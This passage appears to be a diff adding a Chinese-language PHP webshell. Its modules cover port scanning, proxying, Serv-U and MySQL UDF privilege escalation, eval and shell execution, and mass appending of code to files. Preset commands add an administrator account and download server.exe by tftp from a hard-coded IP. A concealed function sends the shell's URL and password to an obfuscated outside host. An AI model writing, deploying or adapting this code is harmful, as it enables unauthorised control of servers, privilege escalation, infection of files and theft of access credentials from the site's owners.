'; + $ports = explode('|', $_POST['port']); + for($i = 0;$i < count($ports);$i++) + { + $fp = @fsockopen($_POST['ip'],$ports[$i],$errno,$errstr,2); + echo $fp ? '开放端口 ---> '.$ports[$i].'
' : '关闭端口 ---> '.$ports[$i].'
'; + ob_flush(); + flush(); + } + echo '
'; + } + break; + + + case "getcode": +if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($proxycontents) ? $proxycontents : "

获取 URL 内容失败

";exit;} +print<< +
+
在线代理

  • 用本功能仅实现简单的 HTTP 代理,不会显示使用相对路径的图片、链接及CSS样式表.
  • 用本功能可以通过本服务器浏览目标URL,但不支持 SQL Injection 探测以及某些特殊字符.
  • 用本功能浏览的 URL,在目标主机上留下的IP记录是 : {$_SERVER['SERVER_NAME']}
URL: + +
+END; + break; + + case "servu": + $SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P'; +print<<[执行命令] [添加用户] +
+
ServU端口
+
ServU用户
+
ServU密码
+END; +if($_GET['o'] == 'adduser') +{ +print<<帐号 +密码 +目录 +END; +} +else +{ +print<<提权命令
+ + + +END; +} +echo '
'; + if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass']))) + { + echo '
'; + $sendbuf = ""; + $recvbuf = ""; + $domain = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n"; + $adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n". + "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n". + "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n"; + $deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n"; + $sock = @fsockopen("127.0.0.1", $_POST["SUPort"],$errno,$errstr, 10); + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
"; + $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
"; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
"; + $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
"; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
"; + $sendbuf = "SITE MAINTENANCE\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
"; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
"; + $sendbuf = $domain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
"; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
"; + $sendbuf = $adduser; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
"; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
"; + if(!empty($_POST['SUCommand'])) + { + $exp = @fsockopen("127.0.0.1", "21",$errno,$errstr, 10); + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
"; + $sendbuf = "USER ".$_POST['user']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
"; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
"; + $sendbuf = "PASS ".$_POST['password']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
"; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
"; + $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: site exec ".$_POST["SUCommand"]."
"; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
"; + $sendbuf = $deldomain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
"; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
"; + @fclose($exp); + } + @fclose($sock); + echo '
'; + } + break; + + case "eval": + $phpcode = isset($_POST['phpcode']) ? $_POST['phpcode'] : "phpinfo();"; + html_n('
不用写<? ?>标签'); + html_text("phpcode","70","15",$phpcode); + html_input("submit","eval","执行","

"); + if(!empty($_POST['eval'])){ + echo "

"; + eval(stripslashes($phpcode)); + } + html_n('
'); + break; + + case "myexp": + $MSG_BOX = '请先导出DLL,再执行命令.MYSQL用户必须为root权限,导出路径必须能加载DLL文件.'; + $info = '命令回显'; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $mpath = 'C:/windows/mysqlDll.dll'; $sqlcmd = 'ver'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; $mpath = File_Str($_POST['mpath']); $sqlcmd = $_POST['sqlcmd']; + $conn = mysql_connect($mhost.':'.$mport,$muser,$mpass); + if($conn) + { + @mysql_select_db($mdata); + if((!empty($_POST['outdll'])) && (!empty($_POST['mpath']))) + { + $query = "CREATE TABLE Envl_Temp_Tab (envl BLOB);"; + if(@mysql_query($query,$conn)) + { + $shellcode = Mysql_shellcode(); + $query = "INSERT into Envl_Temp_Tab values (CONVERT(".$shellcode.",CHAR));"; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT envl FROM Envl_Temp_Tab INTO DUMPFILE \''.$mpath.'\';'; + if(@mysql_query($query,$conn)) + { + $ap = explode('/', $mpath); $inpath = array_pop($ap); + $query = 'Create Function state returns string soname \''.$inpath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? '安装DLL成功' : '安装DLL失败'; + } + else $MSG_BOX = '导出DLL文件失败'; + } + else $MSG_BOX = '写入临时表失败'; + @mysql_query('DROP TABLE Envl_Temp_Tab;',$conn); + } + else $MSG_BOX = '创建临时表失败'; + } + if(!empty($_POST['runcmd'])) + { + $query = 'select state("'.$sqlcmd.'");'; + $result = @mysql_query($query,$conn); + if($result) + { + $k = 0; $info = NULL; + while($row = @mysql_fetch_array($result)){$infotmp .= $row[$k];$k++;} + $info = $infotmp; + $MSG_BOX = '执行成功'; + } + else $MSG_BOX = '执行失败'; + } + } + else $MSG_BOX = '连接MYSQL失败'; + } +print<< +function Fullm(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "net user envl envl /add"; + Str[2] = "net localgroup administrators envl /add"; + Str[3] = "net start Terminal Services"; + Str[4] = "tasklist /svc"; + Str[5] = "netstat -ano"; + Str[6] = "ipconfig"; + Str[7] = "net user guest /active:yes"; + Str[8] = "copy c:\\\\1.php d:\\\\2.php"; + Str[9] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[10] = "net start telnet"; + Str[11] = "shutdown -r -t 0"; + mform.sqlcmd.value = Str[i]; + return true; +} + +
+
{$MSG_BOX}
+
+地址 +端口 +用户 +密码 +库名 +
+可加载路径 +
+
安装成功后可用
+ + + +
+
+END; + break; + + + case "mysql_exec": + if(isset($_POST['mhost']) && isset($_POST['mport']) && isset($_POST['muser']) && isset($_POST['mpass'])) + { + if(@mysql_connect($_POST['mhost'].':'.$_POST['mport'],$_POST['muser'],$_POST['mpass'])) + { + $cookietime = time() + 24 * 3600; + setcookie('m_eanverhost',$_POST['mhost'],$cookietime); + setcookie('m_eanverport',$_POST['mport'],$cookietime); + setcookie('m_eanveruser',$_POST['muser'],$cookietime); + setcookie('m_eanverpass',$_POST['mpass'],$cookietime); + die('正在登陆,请稍候...'); + } + } +print<< +
地址
+
端口
+
用户
+
密码
+
+ +END; +break; + +case "mysql_msg": + $conn = @mysql_connect($_COOKIE['m_eanverhost'].':'.$_COOKIE['m_eanverport'],$_COOKIE['m_eanveruser'],$_COOKIE['m_eanverpass']); + if($conn) + { +print<< +function Delok(msg,gourl) +{ + smsg = "确定要删除[" + unescape(msg) + "]吗?"; + if(confirm(smsg)){window.location = gourl;} +} +function Createok(ac) +{ + if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (eanver BLOB);'; + if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;'; + if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;'; + return false; +} + +END; + $BOOL = false; + $MSG_BOX = '用户:'.$_COOKIE['m_eanveruser'].'      地址:'.$_COOKIE['m_eanverhost'].':'.$_COOKIE['m_eanverport'].'      版本:'; + $k = 0; + $result = @mysql_query('select version();',$conn); + while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} + echo '
数据库:'; + $result = mysql_query("SHOW DATABASES",$conn); + while($db = mysql_fetch_array($result)){echo '  ['.$db['Database'].']';} + echo '
'; + if(isset($_GET['db'])) + { + mysql_select_db($_GET['db'],$conn); + if(!empty($_POST['nsql'])){$BOOL = true; $MSG_BOX = mysql_query($_POST['nsql'],$conn) ? '执行成功' : '执行失败 '.mysql_error();} + if(is_array($_POST['insql'])) + { + $query = 'INSERT INTO '.$_GET['table'].' ('; + foreach($_POST['insql'] as $var => $key) + { + $querya .= $var.','; + $queryb .= '\''.addslashes($key).'\','; + } + $query = $query.substr($querya, 0, -1).') VALUES ('.substr($queryb, 0, -1).');'; + $MSG_BOX = mysql_query($query,$conn) ? '添加成功' : '添加失败 '.mysql_error(); + } + if(is_array($_POST['upsql'])) + { + $query = 'UPDATE '.$_GET['table'].' SET '; + foreach($_POST['upsql'] as $var => $key) + { + $queryb .= $var.'=\''.addslashes($key).'\','; + } + $query = $query.substr($queryb, 0, -1).' '.base64_decode($_POST['wherevar']).';'; + $MSG_BOX = mysql_query($query,$conn) ? '修改成功' : '修改失败 '.mysql_error(); + } + if(isset($_GET['del'])) + { + $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['del'].', 1;',$conn); + $good = mysql_fetch_assoc($result); + $query = 'DELETE FROM '.$_GET['table'].' WHERE '; + foreach($good as $var => $key){$queryc .= $var.'=\''.addslashes($key).'\' AND ';} + $where = $query.substr($queryc, 0, -4).';'; + $MSG_BOX = mysql_query($where,$conn) ? '删除成功' : '删除失败 '.mysql_error(); + } + $action = '?eanver=mysql_msg&db='.$_GET['db']; + if(isset($_GET['drop'])){$query = 'Drop TABLE IF EXISTS '.$_GET['drop'].';';$MSG_BOX = mysql_query($query,$conn) ? '删除成功' : '删除失败 '.mysql_error();} + if(isset($_GET['table'])){$action .= '&table='.$_GET['table'];if(isset($_GET['edit'])) $action .= '&edit='.$_GET['edit'];} + if(isset($_GET['insert'])) $action .= '&insert='.$_GET['insert']; + echo '
'; + echo ' '; + echo ' '; + echo ' '; + echo ' '; + echo '
'; + echo '
'.$MSG_BOX.'
'.$_GET['db'].' ---> '; + if(isset($_GET['table'])) + { + echo ''.$_GET['table'].' '; + echo '[插入]
'; + if(isset($_GET['edit'])) + { + if(isset($_GET['p'])) $atable = $_GET['table'].'&p='.$_GET['p']; else $atable = $_GET['table']; + echo '
'; + $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['edit'].', 1;',$conn); + $good = mysql_fetch_assoc($result); + $u = 0; + foreach($good as $var => $key) + { + $queryc .= $var.'=\''.$key.'\' AND '; + $type = @mysql_field_type($result, $u); + $len = @mysql_field_len($result, $u); + echo '
'.$var.' '.$type.'('.$len.')
'; + $u++; + } + $where = 'WHERE '.substr($queryc, 0, -4); + echo ''; + echo '
'; + } + else + { + $query = 'SHOW COLUMNS FROM '.$_GET['table']; + $result = mysql_query($query,$conn); + $fields = array(); + $pagesize=20; + $row_num = mysql_num_rows(mysql_query('SELECT * FROM '.$_GET['table'],$conn)); + $numrows=$row_num; + $pages=intval($numrows/$pagesize); + if ($numrows%$pagesize) $pages++; + $offset=$pagesize*($page - 1); + $page=$_GET['p']; + if(!$page) $page=1; + + if(!isset($_GET['p'])){$p = 0;$_GET['p'] = 1;} else $p = ((int)$_GET['p']-1)*20; + echo ''; + echo ''; + while($row = @mysql_fetch_assoc($result)) + { + array_push($fields,$row['Field']); + echo ''; + } + echo ''; + if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $query = $_POST['nsql']; else $query = 'SELECT * FROM '.$_GET['table'].' LIMIT '.$p.', 20;'; + $result = mysql_query($query,$conn); + $v = $p; + while($text = @mysql_fetch_assoc($result)) + { + echo ''; + foreach($fields as $row){echo '';} + echo ''."\r\n";$v++; + } + echo '
操作'.$row['Field'].'
修改 '; + echo ' 删除 '.nl2br(htmlspecialchars(Mysql_Len($text[$row],500))).'
'; + $pagep=$page-1; + $pagen=$page+1; + echo "共有 ".$row_num." 条记录 "; + if($pagep>0) $pagenav.=" 首页 上一页 "; else $pagenav.=" 上一页 "; + if($pagen<=$pages) $pagenav.=" 下一页 尾页"; else $pagenav.=" 下一页 "; + $pagenav.=" 第 [".$page."/".$pages."] 页 跳到页"; + echo $pagenav; + echo '
'; + } + } + elseif(isset($_GET['insert'])) + { + echo ''.$_GET['insert'].''; + $result = mysql_query('SELECT * FROM '.$_GET['insert'],$conn); + $fieldnum = @mysql_num_fields($result); + echo '
'; + for($i = 0;$i < $fieldnum;$i++) + { + $name = @mysql_field_name($result, $i); + $type = @mysql_field_type($result, $i); + $len = @mysql_field_len($result, $i); + echo '
'.$name.' '.$type.'('.$len.')
'; + } + echo '
'; + } + else + { + $query = 'SHOW TABLE STATUS'; + $status = @mysql_query($query,$conn); + while($statu = @mysql_fetch_array($status)) + { + $statusize[] = $statu['Data_length']; + $statucoll[] = $statu['Collation']; + } + $query = 'SHOW TABLES FROM '.$_GET['db'].';'; + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + $result = @mysql_query($query,$conn); + $k = 0; + while($table = mysql_fetch_row($result)) + { + $charset=substr($statucoll[$k],0,strpos($statucoll[$k],'_')); + echo ''; + echo ''; + echo ''."\r\n"; + $k++; + } + echo '
表名 操作 字符集 大小
'.$table[0].' 插入 删除 '.$statucoll[$k].''.File_Size($statusize[$k]).'
'; + } + } + } + else die('连接MYSQL失败,请重新登陆.'); + if(!$BOOL and addslashes($query)!='') echo ''; +break; + + + default: html_main($path,$shellname); break; +} +css_foot(); + +/*---doing---*/ + +function do_write($file,$t,$text) +{ + $key = true; + $handle = @fopen($file,$t); + if(!@fwrite($handle,$text)) + { + @chmod($file,0666); + $key = @fwrite($handle,$text) ? true : false; + } + @fclose($handle); + return $key; +} + +function do_show($filepath){ + $show = array(); + $dir = dir($filepath); + while($file = $dir->read()){ + if($file == '.' or $file == '..') continue; + $files = str_path($filepath.'/'.$file); + $show[] = $files; + } + $dir->close(); + return $show; +} + +function do_deltree($deldir){ + $showfile = do_show($deldir); + foreach($showfile as $del){ + if(is_dir($del)){ + if(!do_deltree($del)) return false; + }elseif(!is_dir($del)){ + @chmod($del,0777); + if(!@unlink($del)) return false; + } + } + @chmod($deldir,0777); + if(!@rmdir($deldir)) return false; + return true; +} + +function do_showsql($query,$conn){ + $result = @mysql_query($query,$conn); + html_n('

'); +} + +function hmlogin($xiao=1){ + @set_time_limit(10); + $serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; + $serverp = envlpass; + $copyurl = base64_decode('aHR0cDovL3d3dy50cm95cGxhbi5jb20vcC5hc3B4P249'); + $url=$copyurl.$serveru.'&p='.$serverp; + $url=urldecode($url); + $re=file_get_contents($url); + +$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; +$serverp = envlpass; +if (strpos($serveru,"0.0")>0 or strpos($serveru,"192.168.")>0 or strpos($serveru,"localhost")>0 or ($serveru==$_COOKIE['serveru'] and $serverp==$_COOKIE['serverp'])) {echo "";} else {setcookie('serveru',$serveru);setcookie('serverp',$serverp);if($xiao==1){echo "";}else{geturl();}} +} + +function do_down($fd){ + if(!@file_exists($fd)) msg('下载文件不存在'); + $fileinfo = pathinfo($fd); + header('Content-type: application/x-'.$fileinfo['extension']); + header('Content-Disposition: attachment; filename='.$fileinfo['basename']); + header('Content-Length: '.filesize($fd)); + @readfile($fd); + exit; +} + +function do_download($filecode,$file){ + header("Content-type: application/unknown"); + header('Accept-Ranges: bytes'); + header("Content-length: ".strlen($filecode)); + header("Content-disposition: attachment; filename=".$file.";"); + echo $filecode; + exit; +} + +function TestUtf8($text) +{if(strlen($text) < 3) return false; +$lastch = 0; +$begin = 0; +$BOM = true; +$BOMchs = array(0xEF, 0xBB, 0xBF); +$good = 0; +$bad = 0; +$notAscii = 0; +for($i=0; $i < strlen($text); $i++) +{$ch = ord($text[$i]); +if($begin < 3) +{ $BOM = ($BOMchs[$begin]==$ch); +$begin += 1; +continue; } +if($begin==4 && $BOM) break; +if($ch >= 0x80 ) $notAscii++; +if( ($ch&0xC0) == 0x80 ) +{if( ($lastch&0xC0) == 0xC0 ) +{$good += 1;} +else if( ($lastch&0x80) == 0 ) +{$bad += 1; }} +else if( ($lastch&0xC0) == 0xC0 ) +{$bad += 1;} +$lastch = $ch;} +if($begin == 4 && $BOM) +{return 2;} +else if($notAscii==0) +{return 1;} +else if ($good >= $bad ) +{return 2;} +else +{return 0;}} + +function File_Str($string) +{ + return str_replace('//','/',str_replace('\\','/',$string)); +} + +function File_Write($filename,$filecode,$filemode) +{ + $key = true; + $handle = @fopen($filename,$filemode); + if(!@fwrite($handle,$filecode)) + { + @chmod($filename,0666); + $key = @fwrite($handle,$filecode) ? true : false; + } + @fclose($handle); + return $key; +} + +function File_Mode() +{ + $RealPath = realpath('./'); + $SelfPath = $_SERVER['PHP_SELF']; + $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); + return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); +} + +function File_Size($size) +{ + $kb = 1024; // Kilobyte + $mb = 1024 * $kb; // Megabyte + $gb = 1024 * $mb; // Gigabyte + $tb = 1024 * $gb; // Terabyte + if($size < $kb) + { + return $size." B"; + } + else if($size < $mb) + { + return round($size/$kb,2)." K"; + } + else if($size < $gb) + { + return round($size/$mb,2)." M"; + } + else if($size < $tb) + { + return round($size/$gb,2)." G"; + } + else + { + return round($size/$tb,2)." T"; + } + } + +function File_Read($filename) +{ + $handle = @fopen($filename,"rb"); + $filecode = @fread($handle,@filesize($filename)); + @fclose($handle); + return $filecode; +} + +function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}} +function Info_Fun($funName){return (false !== function_exists($funName)) ? "Yes" : "No";} + +function do_phpfun($cmd,$fun) { + $res = ''; + switch($fun){ + case "exec": @exec($cmd,$res); $res = join("\n",$res); break; + case "shell_exec": $res = @shell_exec($cmd); break; + case "system": @ob_start(); @system($cmd); $res = @ob_get_contents(); @ob_end_clean();break; + case "passthru": @ob_start(); @passthru($cmd); $res = @ob_get_contents(); @ob_end_clean();break; + case "popen": if(@is_resource($f = @popen($cmd,"r"))){ while(!@feof($f)) $res .= @fread($f,1024);} @pclose($f);break; + } + return $res; +} + +function do_passreturn($dir,$code,$type,$bool,$filetype = '',$shell = my_shell){ + $show = do_show($dir); + foreach($show as $files){ + if(is_dir($files) && $bool){ + do_passreturn($files,$code,$type,$bool,$filetype,$shell); + }else{ + if($files == $shell) continue; + switch($type){ + case "guama": + if(debug($files,$filetype)){ + do_write($files,"ab","\n".$code) ? html_n("成功--> $files
") : html_n("失败--> $files
"); + } + break; + case "qingma": + $filecode = @file_get_contents($files); + if(stristr($filecode,$code)){ + $newcode = str_replace($code,'',$filecode); + do_write($files,"wb",$newcode) ? html_n("成功--> $files
") : html_n("失败--> $files
"); + } + break; + case "tihuan": + $filecode = @file_get_contents($files); + if(stristr($filecode,$code)){ + $newcode = str_replace($code,$filetype,$filecode); + do_write($files,"wb",$newcode) ? html_n("成功--> $files
") : html_n("失败--> $files
"); + } + break; + case "scanfile": + $file = explode('/',$files); + if(stristr($file[count($file)-1],$code)){ + html_a("?eanver=editr&p=$files",$files); + echo '
'; + } + break; + case "scancode": + $filecode = @file_get_contents($files); + if(stristr($filecode,$code)){ + html_a("?eanver=editr&p=$files",$files); + echo '
'; + } + break; + case "scanphp": + $fileinfo = pathinfo($files); + if($fileinfo['extension'] == $code){ + $filecode = @file_get_contents($files); + if(muma($filecode,$code)){ + html_a("?eanver=editr&p=".urlencode($files),"编辑"); + html_a("?eanver=del&p=".urlencode($files),"删除"); + echo $files.'
'; + } + } + break; + } + } + } +} + + +class PHPzip{ + + var $file_count = 0 ; + var $datastr_len = 0; + var $dirstr_len = 0; + var $filedata = ''; + var $gzfilename; + var $fp; + var $dirstr=''; + + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + + function startfile($path = 'QQqun555227.zip'){ + $this->gzfilename=$path; + $mypathdir=array(); + do{ + $mypathdir[] = $path = dirname($path); + }while($path != '.'); + @end($mypathdir); + do{ + $path = @current($mypathdir); + @mkdir($path); + }while(@prev($mypathdir)); + + if($this->fp=@fopen($this->gzfilename,"w")){ + return true; + } + return false; + } + + function addfile($data, $name){ + $name = str_replace('\\', '/', $name); + + if(strrchr($name,'/')=='/') return $this->adddir($name); + + $dtime = dechex($this->unix2DosTime()); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + + $datastr = "\x50\x4b\x03\x04"; + $datastr .= "\x14\x00"; + $datastr .= "\x00\x00"; + $datastr .= "\x08\x00"; + $datastr .= $hexdtime; + $datastr .= pack('V', $crc); + $datastr .= pack('V', $c_len); + $datastr .= pack('V', $unc_len); + $datastr .= pack('v', strlen($name)); + $datastr .= pack('v', 0); + $datastr .= $name; + $datastr .= $zdata; + $datastr .= pack('V', $crc); + $datastr .= pack('V', $c_len); + $datastr .= pack('V', $unc_len); + + + fwrite($this->fp,$datastr); + $my_datastr_len = strlen($datastr); + unset($datastr); + + $dirstr = "\x50\x4b\x01\x02"; + $dirstr .= "\x00\x00"; + $dirstr .= "\x14\x00"; + $dirstr .= "\x00\x00"; + $dirstr .= "\x08\x00"; + $dirstr .= $hexdtime; + $dirstr .= pack('V', $crc); + $dirstr .= pack('V', $c_len); + $dirstr .= pack('V', $unc_len); // uncompressed filesize + $dirstr .= pack('v', strlen($name) ); // length of filename + $dirstr .= pack('v', 0 ); // extra field length + $dirstr .= pack('v', 0 ); // file comment length + $dirstr .= pack('v', 0 ); // disk number start + $dirstr .= pack('v', 0 ); // internal file attributes + $dirstr .= pack('V', 32 ); // external file attributes - 'archive' bit set + $dirstr .= pack('V',$this->datastr_len ); // relative offset of local header + $dirstr .= $name; + + $this->dirstr .= $dirstr; //目录信息 + + $this -> file_count ++; + $this -> dirstr_len += strlen($dirstr); + $this -> datastr_len += $my_datastr_len; + } + + function adddir($name){ + $name = str_replace("\\", "/", $name); + $datastr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + + $datastr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); + $datastr .= pack("v", 0 ).$name.pack("V", 0).pack("V", 0).pack("V", 0); + + fwrite($this->fp,$datastr); //写入新的文件内容 + $my_datastr_len = strlen($datastr); + unset($datastr); + + $dirstr = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + $dirstr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); + $dirstr .= pack("v", 0 ).pack("v", 0 ).pack("v", 0 ).pack("v", 0 ); + $dirstr .= pack("V", 16 ).pack("V",$this->datastr_len).$name; + + $this->dirstr .= $dirstr; //目录信息 + + $this -> file_count ++; + $this -> dirstr_len += strlen($dirstr); + $this -> datastr_len += $my_datastr_len; + } + + + function createfile(){ + //压缩包结束信息,包括文件总数,目录信息读取指针位置等信息 + $endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00" . + pack('v', $this -> file_count) . + pack('v', $this -> file_count) . + pack('V', $this -> dirstr_len) . + pack('V', $this -> datastr_len) . + "\x00\x00"; + + fwrite($this->fp,$this->dirstr.$endstr); + fclose($this->fp); + } + } + +function File_Act($array,$actall,$inver,$REAL_DIR) +{ + if(($count = count($array)) == 0) return '请选择文件'; + if($actall == 'e') + { + function listfiles($dir=".",$faisunZIP,$mydir){ + $sub_file_num = 0; + if(is_file($mydir."$dir")){ + if(realpath($faisunZIP ->gzfilename)!=realpath($mydir."$dir")){ + $faisunZIP -> addfile(file_get_contents($mydir.$dir),"$dir"); + return 1; + } + return 0; + } + + $handle=opendir($mydir."$dir"); + while ($file = readdir($handle)) { + if($file=="."||$file=="..")continue; + if(is_dir($mydir."$dir/$file")){ + $sub_file_num += listfiles("$dir/$file",$faisunZIP,$mydir); + } + else { + if(realpath($faisunZIP ->gzfilename)!=realpath($mydir."$dir/$file")){ + $faisunZIP -> addfile(file_get_contents($mydir.$dir."/".$file),"$dir/$file"); + $sub_file_num ++; + } + } + } + closedir($handle); + if(!$sub_file_num) $faisunZIP -> addfile("","$dir/"); + return $sub_file_num; + } + + function num_bitunit($num){ + $bitunit=array(' B',' KB',' MB',' GB'); + for($key=0;$key=pow(2,10*$key)-1){ //1023B 会显示为 1KB + $num_bitunit_str=(ceil($num/pow(2,10*$key)*100)/100)." $bitunit[$key]"; + } + } + return $num_bitunit_str; + } + + $mydir=$REAL_DIR.'/'; + if(is_array($array)){ + $faisunZIP = new PHPzip; + if($faisunZIP -> startfile("$inver")){ + $filenum = 0; + foreach($array as $file){ + $filenum += listfiles($file,$faisunZIP,$mydir); + } + $faisunZIP -> createfile(); + return "压缩完成,共添加 $filenum 个文件.
点击下载 $inver (".num_bitunit(filesize("$inver")).")"; + }else{ + return "$inver 不能写入,请检查路径或权限是否正确.
"; + } + }else{ + return "没有选择的文件或目录.
"; + } + + + } + $i = 0; + while($i < $count) + { + $array[$i] = urldecode($array[$i]); + switch($actall) + { + case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '路径错误'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = '复制到'.$inver.'目录'; break; + case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = '删除'; break; + case "c" : if(!eregi("^[0-7]{4}$",$inver)) return '属性值错误'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '属性修改为'.$inver; break; + case "d" : @touch($array[$i],strtotime($inver)); $msg = '修改时间为'.$inver; break; + } + $i++; + } + return '所选文件'.$msg.'完毕'; +} + + function start_unzip($tmp_name,$new_name,$todir='zipfile'){ + $z = new Zip; + $have_zip_file=0; + $upfile = array("tmp_name"=>$tmp_name,"name"=>$new_name); + if(is_file($upfile[tmp_name])){ + $have_zip_file = 1; + echo "
正在解压: $upfile[name]

"; + if(preg_match('/\.zip$/mis',$upfile[name])){ + $result=$z->Extract($upfile[tmp_name],$todir); + if($result==-1){ + echo "
文件 $upfile[name] 错误.
"; + } + echo "
完成,共建立 $z->total_folders 个目录,$z->total_files 个文件.


"; + }else{ + echo "
$upfile[name] 不是 zip 文件.

"; + } + if(realpath($upfile[name])!=realpath($upfile[tmp_name])){ + @unlink($upfile[name]); + rename($upfile[tmp_name],$upfile[name]); + } + } + } + +function muma($filecode,$filetype){ + $dim = array( + "php" => array("eval(","exec("), + "asp" => array("WScript.Shell","execute(","createtextfile("), + "aspx" => array("Response.Write(eval(","RunCMD(","CreateText()"), + "jsp" => array("runtime.exec(") + ); + foreach($dim[$filetype] as $code){ + if(stristr($filecode,$code)) return true; + } +} + +function debug($file,$ftype){ + $type=explode('|',$ftype); + foreach($type as $i){ + if(stristr($file,$i)) return true; + } +} + +/*---string---*/ + +function str_path($path){ + return str_replace('//','/',$path); +} + +function msg($msg){ + die(""); +} + +function uppath($nowpath){ + $nowpath = str_replace('\\','/',dirname($nowpath)); + return urlencode($nowpath); +} + +function xxstr($key){ + $temp = str_replace("\\\\","\\",$key); + $temp = str_replace("\\","\\\\",$temp); + return $temp; +} + +/*---html---*/ + +function html_ta($url,$name){ + html_n("$name"); +} + 